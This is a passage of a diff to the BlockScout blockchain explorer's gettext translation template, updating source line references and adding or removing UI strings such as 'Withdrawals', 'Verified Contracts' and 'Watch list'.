lib/block_scout_web/templates/block/overview.html.eex:80 +#: lib/block_scout_web/templates/chain/show.html.eex:216 +#: lib/block_scout_web/templates/chain/show.html.eex:216 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:49 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:49 +#: lib/block_scout_web/views/address_view.ex:354 +#: lib/block_scout_web/views/address_view.ex:354 #, elixir-autogen, elixir-format msgid "Transactions" msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:119 +#: lib/block_scout_web/templates/address/overview.html.eex:101 +#: lib/block_scout_web/templates/address/overview.html.eex:101 #, elixir-autogen, elixir-format msgid "Transactions and address of creation." msgstr "" -#: lib/block_scout_web/templates/address/_tile.html.eex:31 -#, elixir-autogen, elixir-format -msgid "Transactions sent" -msgstr "" - -#: lib/block_scout_web/templates/address/overview.html.eex:231 -#: lib/block_scout_web/templates/address/overview.html.eex:237 -#: lib/block_scout_web/templates/address/overview.html.eex:245 +#: lib/block_scout_web/templates/address/overview.html.eex:215 +#: lib/block_scout_web/templates/address/overview.html.eex:215 +#: lib/block_scout_web/templates/address/overview.html.eex:221 +#: lib/block_scout_web/templates/address/overview.html.eex:221 +#: lib/block_scout_web/templates/address/overview.html.eex:229 +#: lib/block_scout_web/templates/address/overview.html.eex:229 #: lib/block_scout_web/templates/tokens/instance/overview/_details.html.eex:50 -#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:118 +#: lib/block_scout_web/templates/tokens/instance/overview/_details.html.eex:50 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:119 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:119 #, elixir-autogen, elixir-format msgid "Transfers" msgstr "" +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:40 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:40 #: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:47 +#: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:47 #, elixir-autogen, elixir-format msgid "Try it out" msgstr "" +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_fetch_constructor_args.html.eex:3 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_fetch_constructor_args.html.eex:3 +#, elixir-autogen, elixir-format +msgid "Try to fetch constructor arguments automatically" +msgstr "" + +#: lib/block_scout_web/templates/layout/_footer.html.eex:27 #: lib/block_scout_web/templates/layout/_footer.html.eex:27 #, elixir-autogen, elixir-format msgid "Twitter" msgstr "" -#: lib/block_scout_web/templates/layout/app.html.eex:49 +#: lib/block_scout_web/templates/layout/app.html.eex:53 +#: lib/block_scout_web/templates/layout/app.html.eex:53 #, elixir-autogen, elixir-format msgid "Tx/day" msgstr "" +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:66 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:66 +#, elixir-autogen, elixir-format +msgid "Txns" +msgstr "" + +#: lib/block_scout_web/templates/log/_data_decoded_view.html.eex:5 #: lib/block_scout_web/templates/log/_data_decoded_view.html.eex:5 #: lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex:22 +#: lib/block_scout_web/templates/transaction/_decoded_input_body.html.eex:22 #, elixir-autogen, elixir-format msgid "Type" msgstr "" -#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:140 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:141 +#: lib/block_scout_web/templates/tokens/overview/_details.html.eex:141 #, elixir-autogen, elixir-format msgid "Type of the token standard" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:453 +#: lib/block_scout_web/templates/visualize_sol2uml/index.html.eex:5 +#: lib/block_scout_web/templates/visualize_sol2uml/index.html.eex:5 +#, elixir-autogen, elixir-format +msgid "UML diagram" +msgstr "" + +#: lib/block_scout_web/templates/transaction/overview.html.eex:560 +#: lib/block_scout_web/templates/transaction/overview.html.eex:560 #, elixir-autogen, elixir-format msgid "UTF-8" msgstr "" -#: lib/block_scout_web/views/block_view.ex:75 +#: lib/block_scout_web/views/block_view.ex:77 +#: lib/block_scout_web/views/block_view.ex:77 #, elixir-autogen, elixir-format msgid "Uncle Reward" msgstr "" -#: lib/block_scout_web/templates/block/overview.html.eex:250 -#: lib/block_scout_web/templates/layout/_topnav.html.eex:36 +#: lib/block_scout_web/templates/block/overview.html.eex:252 +#: lib/block_scout_web/templates/block/overview.html.eex:252 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:41 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:41 #, elixir-autogen, elixir-format msgid "Uncles" msgstr "" -#: lib/block_scout_web/views/transaction_view.ex:341 +#: lib/block_scout_web/views/transaction_view.ex:367 +#: lib/block_scout_web/views/transaction_view.ex:367 #, elixir-autogen, elixir-format msgid "Unconfirmed" msgstr "" +#: lib/block_scout_web/templates/tokens/inventory/_token.html.eex:9 #: lib/block_scout_web/templates/tokens/inventory/_token.html.eex:9 #, elixir-autogen, elixir-format msgid "Unique Token" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:74 +#: lib/block_scout_web/templates/transaction/overview.html.eex:79 +#: lib/block_scout_web/templates/transaction/overview.html.eex:79 #, elixir-autogen, elixir-format msgid "Unique character string (TxID) assigned to every verified transaction." msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:383 +#: lib/block_scout_web/templates/account/api_key/form.html.eex:7 +#: lib/block_scout_web/templates/account/api_key/form.html.eex:7 +#: lib/block_scout_web/templates/account/custom_abi/form.html.eex:8 +#: lib/block_scout_web/templates/account/custom_abi/form.html.eex:8 +#, elixir-autogen, elixir-format +msgid "Update" +msgstr "" + +#: lib/block_scout_web/templates/transaction/overview.html.eex:449 +#: lib/block_scout_web/templates/transaction/overview.html.eex:449 #, elixir-autogen, elixir-format msgid "User defined maximum fee (tip) per unit of gas paid to validator for transaction prioritization." msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:393 +#: lib/block_scout_web/templates/transaction/overview.html.eex:459 +#: lib/block_scout_web/templates/transaction/overview.html.eex:459 #, elixir-autogen, elixir-format msgid "User-defined tip sent to validator for transaction priority/inclusion." msgstr "" -#: lib/block_scout_web/templates/block/overview.html.eex:224 +#: lib/block_scout_web/templates/block/overview.html.eex:226 +#: lib/block_scout_web/templates/block/overview.html.eex:226 #, elixir-autogen, elixir-format msgid "User-defined tips sent to validator for transaction priority/inclusion." msgstr "" -#: lib/block_scout_web/templates/layout/_topnav.html.eex:52 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:56 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:56 #, elixir-autogen, elixir-format msgid "Validated" msgstr "" +#: lib/block_scout_web/templates/transaction/index.html.eex:12 #: lib/block_scout_web/templates/transaction/index.html.eex:12 #, elixir-autogen, elixir-format msgid "Validated Transactions" msgstr "" +#: lib/block_scout_web/templates/address/_validator_metadata_modal.html.eex:30 #: lib/block_scout_web/templates/address/_validator_metadata_modal.html.eex:30 #, elixir-autogen, elixir-format msgid "Validator Creation Date" msgstr "" +#: lib/block_scout_web/templates/address/_validator_metadata_modal.html.eex:5 #: lib/block_scout_web/templates/address/_validator_metadata_modal.html.eex:5 #, elixir-autogen, elixir-format msgid "Validator Data" msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:51 +#: lib/block_scout_web/templates/address/overview.html.eex:86 +#: lib/block_scout_web/templates/address/overview.html.eex:86 #, elixir-autogen, elixir-format -msgid "Validator Info" +msgid "Validator Name" msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:104 -#, elixir-autogen, elixir-format -msgid "Validator Name" +#: lib/block_scout_web/templates/address_withdrawal/index.html.eex:32 +#: lib/block_scout_web/templates/address_withdrawal/index.html.eex:32 +#: lib/block_scout_web/templates/block_withdrawal/index.html.eex:26 +#: lib/block_scout_web/templates/block_withdrawal/index.html.eex:26 +#: lib/block_scout_web/templates/withdrawal/index.html.eex:26 +#: lib/block_scout_web/templates/withdrawal/index.html.eex:26 +#, elixir-autogen, elixir-format, fuzzy +msgid "Validator index" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:315 +#: lib/block_scout_web/templates/transaction/overview.html.eex:369 +#: lib/block_scout_web/templates/transaction/overview.html.eex:369 #, elixir-autogen, elixir-format msgid "Value" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:314 +#: lib/block_scout_web/templates/transaction/overview.html.eex:368 +#: lib/block_scout_web/templates/transaction/overview.html.eex:368 #, elixir-autogen, elixir-format msgid "Value sent in the native token (and USD) if applicable." msgstr "" -#: lib/block_scout_web/templates/address_contract/index.html.eex:82 +#: lib/block_scout_web/templates/address_read_contract/index.html.eex:17 +#: lib/block_scout_web/templates/address_read_contract/index.html.eex:17 +#: lib/block_scout_web/templates/address_write_contract/index.html.eex:15 +#: lib/block_scout_web/templates/address_write_contract/index.html.eex:15 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:81 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:81 +#, elixir-autogen, elixir-format +msgid "Verified" +msgstr "" + +#: lib/block_scout_web/templates/verified_contracts/_stats.html.eex:18 +#: lib/block_scout_web/templates/verified_contracts/_stats.html.eex:18 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:6 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:6 +#, elixir-autogen, elixir-format +msgid "Verified Contracts" +msgstr "" + +#: lib/block_scout_web/templates/address_contract/index.html.eex:88 +#: lib/block_scout_web/templates/address_contract/index.html.eex:88 #, elixir-autogen, elixir-format msgid "Verified at" msgstr "" +#: lib/block_scout_web/templates/layout/_topnav.html.eex:69 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:69 +#, elixir-autogen, elixir-format +msgid "Verified contracts" +msgstr "" + +#: lib/block_scout_web/templates/verified_contracts/_metatags.html.eex:2 +#: lib/block_scout_web/templates/verified_contracts/_metatags.html.eex:2 +#, elixir-autogen, elixir-format +msgid "Verified contracts - %{subnetwork} Explorer" +msgstr "" + +#: lib/block_scout_web/templates/verified_contracts/_metatags.html.eex:7 +#: lib/block_scout_web/templates/verified_contracts/_metatags.html.eex:7 +#, elixir-autogen, elixir-format +msgid "Verified contracts, %{subnetwork}, %{coin}" +msgstr "" + #: lib/block_scout_web/templates/address_contract/index.html.eex:27 +#: lib/block_scout_web/templates/address_contract/index.html.eex:27 +#: lib/block_scout_web/templates/address_contract/index.html.eex:29 #: lib/block_scout_web/templates/address_contract/index.html.eex:29 -#: lib/block_scout_web/templates/address_contract/index.html.eex:160 -#: lib/block_scout_web/templates/address_contract/index.html.eex:166 #: lib/block_scout_web/templates/address_contract/index.html.eex:197 -#: lib/block_scout_web/templates/address_contract/index.html.eex:203 +#: lib/block_scout_web/templates/address_contract/index.html.eex:197 +#: lib/block_scout_web/templates/address_contract/index.html.eex:228 +#: lib/block_scout_web/templates/address_contract/index.html.eex:228 +#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:14 #: lib/block_scout_web/templates/smart_contract/_functions.html.eex:14 #, elixir-autogen, elixir-format msgid "Verify & Publish" msgstr "" -#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:141 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:111 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:111 #: lib/block_scout_web/templates/address_contract_verification_via_json/new.html.eex:37 -#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:137 +#: lib/block_scout_web/templates/address_contract_verification_via_json/new.html.eex:37 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:103 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:103 +#: lib/block_scout_web/templates/address_contract_verification_via_standard_json_input/new.html.eex:51 #: lib/block_scout_web/templates/address_contract_verification_via_standard_json_input/new.html.eex:51 #: lib/block_scout_web/templates/address_contract_verification_vyper/new.html.eex:47 +#: lib/block_scout_web/templates/address_contract_verification_vyper/new.html.eex:47 #, elixir-autogen, elixir-format msgid "Verify & publish" msgstr "" +#: lib/block_scout_web/templates/address_logs/_logs.html.eex:10 #: lib/block_scout_web/templates/address_logs/_logs.html.eex:10 #: lib/block_scout_web/templates/transaction/_decoded_input.html.eex:12 +#: lib/block_scout_web/templates/transaction/_decoded_input.html.eex:12 +#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:10 #: lib/block_scout_web/templates/transaction_log/_logs.html.eex:10 #, elixir-autogen, elixir-format msgid "Verify the contract " msgstr "" -#: lib/block_scout_web/templates/layout/_footer.html.eex:89 +#: lib/block_scout_web/templates/layout/_footer.html.eex:93 +#: lib/block_scout_web/templates/layout/_footer.html.eex:93 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:72 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:72 #, elixir-autogen, elixir-format msgid "Version" msgstr "" +#: lib/block_scout_web/templates/address_contract_verification/new.html.eex:33 #: lib/block_scout_web/templates/address_contract_verification/new.html.eex:33 #, elixir-autogen, elixir-format msgid "Via Sourcify: Sources and metadata JSON file" msgstr "" +#: lib/block_scout_web/templates/address_contract_verification/new.html.eex:27 #: lib/block_scout_web/templates/address_contract_verification/new.html.eex:27 #, elixir-autogen, elixir-format msgid "Via Standard Input JSON" msgstr "" +#: lib/block_scout_web/templates/address_contract_verification/new.html.eex:22 #: lib/block_scout_web/templates/address_contract_verification/new.html.eex:22 #, elixir-autogen, elixir-format msgid "Via flattened source code" msgstr "" +#: lib/block_scout_web/templates/address_contract_verification/new.html.eex:40 #: lib/block_scout_web/templates/address_contract_verification/new.html.eex:40 #, elixir-autogen, elixir-format msgid "Via multi-part files" msgstr "" -#: lib/block_scout_web/templates/chain/show.html.eex:152 +#: lib/block_scout_web/templates/chain/show.html.eex:155 +#: lib/block_scout_web/templates/chain/show.html.eex:155 #, elixir-autogen, elixir-format msgid "View All Blocks" msgstr "" -#: lib/block_scout_web/templates/chain/show.html.eex:212 +#: lib/block_scout_web/templates/chain/show.html.eex:215 +#: lib/block_scout_web/templates/chain/show.html.eex:215 #, elixir-autogen, elixir-format msgid "View All Transactions" msgstr "" #: lib/block_scout_web/templates/tokens/instance/overview/_details.html.eex:16 +#: lib/block_scout_web/templates/tokens/instance/overview/_details.html.eex:16 +#: lib/block_scout_web/templates/tokens/instance/overview/_details.html.eex:20 #: lib/block_scout_web/templates/tokens/instance/overview/_details.html.eex:20 #, elixir-autogen, elixir-format msgid "View Contract" msgstr "" -#: lib/block_scout_web/templates/transaction/_tile.html.eex:67 +#: lib/block_scout_web/templates/transaction/_tile.html.eex:73 +#: lib/block_scout_web/templates/transaction/_tile.html.eex:73 #, elixir-autogen, elixir-format msgid "View Less Transfers" msgstr "" -#: lib/block_scout_web/templates/transaction/_tile.html.eex:66 +#: lib/block_scout_web/templates/transaction/_tile.html.eex:72 +#: lib/block_scout_web/templates/transaction/_tile.html.eex:72 #, elixir-autogen, elixir-format msgid "View More Transfers" msgstr "" +#: lib/block_scout_web/templates/block/overview.html.eex:39 #: lib/block_scout_web/templates/block/overview.html.eex:39 #, elixir-autogen, elixir-format msgid "View next block" msgstr "" +#: lib/block_scout_web/templates/block/overview.html.eex:23 #: lib/block_scout_web/templates/block/overview.html.eex:23 #, elixir-autogen, elixir-format msgid "View previous block" msgstr "" +#: lib/block_scout_web/templates/address/_metatags.html.eex:9 #: lib/block_scout_web/templates/address/_metatags.html.eex:9 #, elixir-autogen, elixir-format msgid "View the account balance, transactions, and other data for %{address} on the %{network}" msgstr "" +#: lib/block_scout_web/templates/withdrawal/_metatags.html.eex:8 +#: lib/block_scout_web/templates/withdrawal/_metatags.html.eex:8 +#, elixir-autogen, elixir-format +msgid "View the beacon chain withdrawals on %{subnetwork}" +msgstr "" + +#: lib/block_scout_web/templates/block/_metatags.html.eex:10 #: lib/block_scout_web/templates/block/_metatags.html.eex:10 #, elixir-autogen, elixir-format msgid "View the transactions, token transfers, and uncles for block number %{block_number}" msgstr "" +#: lib/block_scout_web/templates/verified_contracts/_metatags.html.eex:8 +#: lib/block_scout_web/templates/verified_contracts/_metatags.html.eex:8 +#, elixir-autogen, elixir-format +msgid "View the verified contracts on %{subnetwork}" +msgstr "" + +#: lib/block_scout_web/templates/transaction/_metatags.html.eex:10 #: lib/block_scout_web/templates/transaction/_metatags.html.eex:10 #, elixir-autogen, elixir-format msgid "View transaction %{transaction} on %{subnetwork}" msgstr "" +#: lib/block_scout_web/templates/verified_contracts/_contract.html.eex:28 +#: lib/block_scout_web/templates/verified_contracts/_contract.html.eex:28 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:32 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:32 +#: lib/block_scout_web/views/verified_contracts_view.ex:11 +#: lib/block_scout_web/views/verified_contracts_view.ex:11 +#, elixir-autogen, elixir-format +msgid "Vyper" +msgstr "" + +#: lib/block_scout_web/templates/address_contract_verification/new.html.eex:46 #: lib/block_scout_web/templates/address_contract_verification/new.html.eex:46 #, elixir-autogen, elixir-format msgid "Vyper contract" msgstr "" -#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:145 +#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:142 +#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:142 #, elixir-autogen, elixir-format msgid "WEI" msgstr "" +#: lib/block_scout_web/templates/smart_contract/_pending_contract_write.html.eex:9 #: lib/block_scout_web/templates/smart_contract/_pending_contract_write.html.eex:9 #, elixir-autogen, elixir-format msgid "Waiting for transaction's confirmation..." msgstr "" -#: lib/block_scout_web/templates/chain/show.html.eex:138 +#: lib/block_scout_web/templates/chain/show.html.eex:141 +#: lib/block_scout_web/templates/chain/show.html.eex:141 #, elixir-autogen, elixir-format msgid "Wallet addresses" msgstr "" +#: lib/block_scout_web/templates/common_components/_changed_bytecode_warning.html.eex:3 #: lib/block_scout_web/templates/common_components/_changed_bytecode_warning.html.eex:3 #, elixir-autogen, elixir-format msgid "Warning! Contract bytecode has been changed and doesn't match the verified one. Therefore, interaction with this smart contract may be risky." msgstr "" -#: lib/block_scout_web/views/wei_helpers.ex:76 +#: lib/block_scout_web/templates/account/common/_nav.html.eex:7 +#: lib/block_scout_web/templates/account/common/_nav.html.eex:7 +#: lib/block_scout_web/templates/account/watchlist/show.html.eex:7 +#: lib/block_scout_web/templates/account/watchlist/show.html.eex:7 +#: lib/block_scout_web/templates/layout/_account_menu_item.html.eex:15 +#: lib/block_scout_web/templates/layout/_account_menu_item.html.eex:15 +#, elixir-autogen, elixir-format +msgid "Watch list" +msgstr "" + +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:77 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:77 +#, elixir-autogen, elixir-format +msgid "We recommend using flattened code. This is necessary if your code utilizes a library or inherits dependencies. Use the" +msgstr "" + +#: lib/block_scout_web/views/wei_helper.ex:80 +#: lib/block_scout_web/views/wei_helper.ex:80 #, elixir-autogen, elixir-format msgid "Wei" msgstr "" -#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:109 +#: lib/block_scout_web/templates/address/_tabs.html.eex:29 +#: lib/block_scout_web/templates/address/_tabs.html.eex:29 +#: lib/block_scout_web/templates/address_withdrawal/index.html.eex:13 +#: lib/block_scout_web/templates/address_withdrawal/index.html.eex:13 +#: lib/block_scout_web/templates/block/_tabs.html.eex:13 +#: lib/block_scout_web/templates/block/_tabs.html.eex:13 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:73 +#: lib/block_scout_web/templates/layout/_topnav.html.eex:73 +#: lib/block_scout_web/templates/withdrawal/index.html.eex:5 +#: lib/block_scout_web/templates/withdrawal/index.html.eex:5 +#, elixir-autogen, elixir-format +msgid "Withdrawals" +msgstr "" + +#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:106 +#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:106 #, elixir-autogen, elixir-format msgid "Write" msgstr "" +#: lib/block_scout_web/templates/address/_tabs.html.eex:95 #: lib/block_scout_web/templates/address/_tabs.html.eex:95 #: lib/block_scout_web/templates/tokens/overview/_tabs.html.eex:34 -#: lib/block_scout_web/views/address_view.ex:368 +#: lib/block_scout_web/templates/tokens/overview/_tabs.html.eex:34 +#: lib/block_scout_web/views/address_view.ex:359 +#: lib/block_scout_web/views/address_view.ex:359 #, elixir-autogen, elixir-format msgid "Write Contract" msgstr "" +#: lib/block_scout_web/templates/address/_tabs.html.eex:102 #: lib/block_scout_web/templates/address/_tabs.html.eex:102 #: lib/block_scout_web/templates/tokens/overview/_tabs.html.eex:48 -#: lib/block_scout_web/views/address_view.ex:369 +#: lib/block_scout_web/templates/tokens/overview/_tabs.html.eex:48 +#: lib/block_scout_web/views/address_view.ex:360 +#: lib/block_scout_web/views/address_view.ex:360 #, elixir-autogen, elixir-format msgid "Write Proxy" msgstr "" +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_fetch_constructor_args.html.eex:14 #: lib/block_scout_web/templates/address_contract_verification_common_fields/_fetch_constructor_args.html.eex:14 #: lib/block_scout_web/templates/address_contract_verification_common_fields/_include_nightly_builds_field.html.eex:14 -#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:47 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_include_nightly_builds_field.html.eex:14 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_yul_contracts_switcher.html.eex:14 +#: lib/block_scout_web/templates/address_contract_verification_common_fields/_yul_contracts_switcher.html.eex:14 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:51 +#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:51 +#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:43 #: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:43 #, elixir-autogen, elixir-format msgid "Yes" msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:129 +#: lib/block_scout_web/templates/account/api_key/index.html.eex:18 +#: lib/block_scout_web/templates/account/api_key/index.html.eex:18 +#, elixir-autogen, elixir-format +msgid "You can create 3 API keys per account." +msgstr "" + +#: lib/block_scout_web/templates/account/custom_abi/index.html.eex:18 +#: lib/block_scout_web/templates/account/custom_abi/index.html.eex:18 +#, elixir-autogen, elixir-format +msgid "You can create up to 15 Custom ABIs per account." +msgstr "" + +#: lib/block_scout_web/templates/account/tag_address/index.html.eex:14 +#: lib/block_scout_web/templates/account/tag_address/index.html.eex:14 +#, elixir-autogen, elixir-format +msgid "You don't have address tags yet" +msgstr "" + +#: lib/block_scout_web/templates/account/watchlist/show.html.eex:14 +#: lib/block_scout_web/templates/account/watchlist/show.html.eex:14 +#, elixir-autogen, elixir-format +msgid "You don't have addresses on you watchlist yet" +msgstr "" + +#: lib/block_scout_web/templates/account/tag_transaction/index.html.eex:14 +#: lib/block_scout_web/templates/account/tag_transaction/index.html.eex:14 +#, elixir-autogen, elixir-format +msgid "You don't have transaction tags yet" +msgstr "" + +#: lib/block_scout_web/templates/error422/index.html.eex:8 +#: lib/block_scout_web/templates/error422/index.html.eex:8 +#, elixir-autogen, elixir-format +msgid "Your request contained an error, perhaps a mistyped tx/block/address hash. Try again, and check the developer tools console for more info." +msgstr "" + +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:38 +#: lib/block_scout_web/templates/verified_contracts/index.html.eex:38 +#: lib/block_scout_web/views/verified_contracts_view.ex:12 +#: lib/block_scout_web/views/verified_contracts_view.ex:12 +#, elixir-autogen, elixir-format +msgid "Yul" +msgstr "" + +#: lib/block_scout_web/templates/address/overview.html.eex:111 +#: lib/block_scout_web/templates/address/overview.html.eex:111 #, elixir-autogen, elixir-format msgid "at" msgstr "" +#: lib/block_scout_web/templates/address_token/overview.html.eex:52 #: lib/block_scout_web/templates/address_token/overview.html.eex:52 #, elixir-autogen, elixir-format msgid "balance of the address" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:403 +#: lib/block_scout_web/templates/transaction/overview.html.eex:469 +#: lib/block_scout_web/templates/transaction/overview.html.eex:469 #, elixir-autogen, elixir-format -msgid "burned for this transaction. Equals Block Base Fee per Gas * Gas Used." +msgid "burnt for this transaction. Equals Block Base Fee per Gas * Gas Used." msgstr "" -#: lib/block_scout_web/templates/block/overview.html.eex:215 +#: lib/block_scout_web/templates/block/overview.html.eex:217 +#: lib/block_scout_web/templates/block/overview.html.eex:217 #, elixir-autogen, elixir-format -msgid "burned from transactions included in the block (Base fee (per unit of gas) * Gas Used)." +msgid "burnt from transactions included in the block (Base fee (per unit of gas) * Gas Used)." msgstr "" +#: lib/block_scout_web/templates/address_contract/index.html.eex:27 #: lib/block_scout_web/templates/address_contract/index.html.eex:27 #, elixir-autogen, elixir-format msgid "button" msgstr "" -#: lib/block_scout_web/templates/transaction/overview.html.eex:223 +#: lib/block_scout_web/templates/transaction/overview.html.eex:276 +#: lib/block_scout_web/templates/transaction/overview.html.eex:276 #, elixir-autogen, elixir-format msgid "created" msgstr "" +#: lib/block_scout_web/templates/api_docs/eth_rpc.html.eex:12 #: lib/block_scout_web/templates/api_docs/eth_rpc.html.eex:12 #, elixir-autogen, elixir-format msgid "custom RPC" msgstr "" -#: lib/block_scout_web/templates/address/overview.html.eex:167 +#: lib/block_scout_web/templates/address/overview.html.eex:151 +#: lib/block_scout_web/templates/address/overview.html.eex:151 #, elixir-autogen, elixir-format msgid "doesn't include ERC20, ERC721, ERC1155 tokens)." msgstr "" +#: lib/block_scout_web/templates/common_components/_rap_pagination_container.html.eex:13 #: lib/block_scout_web/templates/common_components/_rap_pagination_container.html.eex:13 #, elixir-autogen, elixir-format msgid "elements are displayed" msgstr "" -#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:41 +#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:44 +#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:44 #, elixir-autogen, elixir-format msgid "fallback" msgstr "" -#: lib/block_scout_web/views/address_contract_view.ex:24 +#: lib/block_scout_web/views/address_contract_view.ex:33 +#: lib/block_scout_web/views/address_contract_view.ex:33 #, elixir-autogen, elixir-format msgid "false" msgstr "" +#: lib/block_scout_web/templates/csv_export/index.html.eex:14 +#: lib/block_scout_web/templates/csv_export/index.html.eex:14 +#, elixir-autogen, elixir-format +msgid "for address" +msgstr "" + +#: lib/block_scout_web/templates/address_logs/_logs.html.eex:10 #: lib/block_scout_web/templates/address_logs/_logs.html.eex:10 #: lib/block_scout_web/templates/transaction/_decoded_input.html.eex:12 +#: lib/block_scout_web/templates/transaction/_decoded_input.html.eex:12 +#: lib/block_scout_web/templates/transaction_log/_logs.html.eex:10 #: lib/block_scout_web/templates/transaction_log/_logs.html.eex:10 #, elixir-autogen, elixir-format msgid "here" msgstr "" +#: lib/block_scout_web/templates/api_docs/eth_rpc.html.eex:9 #: lib/block_scout_web/templates/api_docs/eth_rpc.html.eex:9 #, elixir-autogen, elixir-format msgid "here." msgstr "" -#: lib/block_scout_web/templates/transaction/invalid.html.eex:8 -#, elixir-autogen, elixir-format -msgid "is not a valid transaction hash" -msgstr "" - +#: lib/block_scout_web/templates/smart_contract/_function_response.html.eex:3 #: lib/block_scout_web/templates/smart_contract/_function_response.html.eex:3 #, elixir-autogen, elixir-format msgid "method Response" msgstr "" +#: lib/block_scout_web/templates/common_components/_pagination_container.html.eex:41 #: lib/block_scout_web/templates/common_components/_pagination_container.html.eex:41 #, elixir-autogen, elixir-format msgid "of" msgstr "" +#: lib/block_scout_web/templates/layout/app.html.eex:100 +#: lib/block_scout_web/templates/layout/app.html.eex:100 +#, elixir-autogen, elixir-format +msgid "on sign up. Didn’t receive?" +msgstr "" + +#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:16 #: lib/block_scout_web/templates/smart_contract/_functions.html.eex:16 #, elixir-autogen, elixir-format msgid "page" msgstr "" -#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:43 +#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:46 +#: lib/block_scout_web/templates/smart_contract/_functions.html.eex:46 #, elixir-autogen, elixir-format msgid "receive" msgstr "" #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:58 +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:58 +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:69 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:69 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:81 +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:81 +#: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:70 #: lib/block_scout_web/templates/api_docs/_eth_rpc_item.html.eex:70 #, elixir-autogen, elixir-format msgid "required" msgstr "" #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:59 +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:59 +#: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:70 #: lib/block_scout_web/templates/api_docs/_action_tile.html.eex:70 #, elixir-autogen, elixir-format msgid "string" msgstr "" -#: lib/block_scout_web/views/address_contract_view.ex:23 -#, elixir-autogen, elixir-format -msgid "true" -msgstr "" - -#: lib/block_scout_web/templates/address_contract_verification_via_flattened_code/new.html.eex:92 -#: lib/block_scout_web/templates/address_contract_verification_via_multi_part_files/new.html.eex:86 +#: lib/block_scout_web/templates/csv_export/index.html.eex:17 +#: lib/block_scout_web/templates/csv_export/index.html.eex:17 #, elixir-autogen, elixir-format -msgid "A library name called in the .sol file. Multiple libraries (up to 5) may be added for each contract. Click the Add Library button to add an additional one." +msgid "to CSV file" msgstr "" -#: 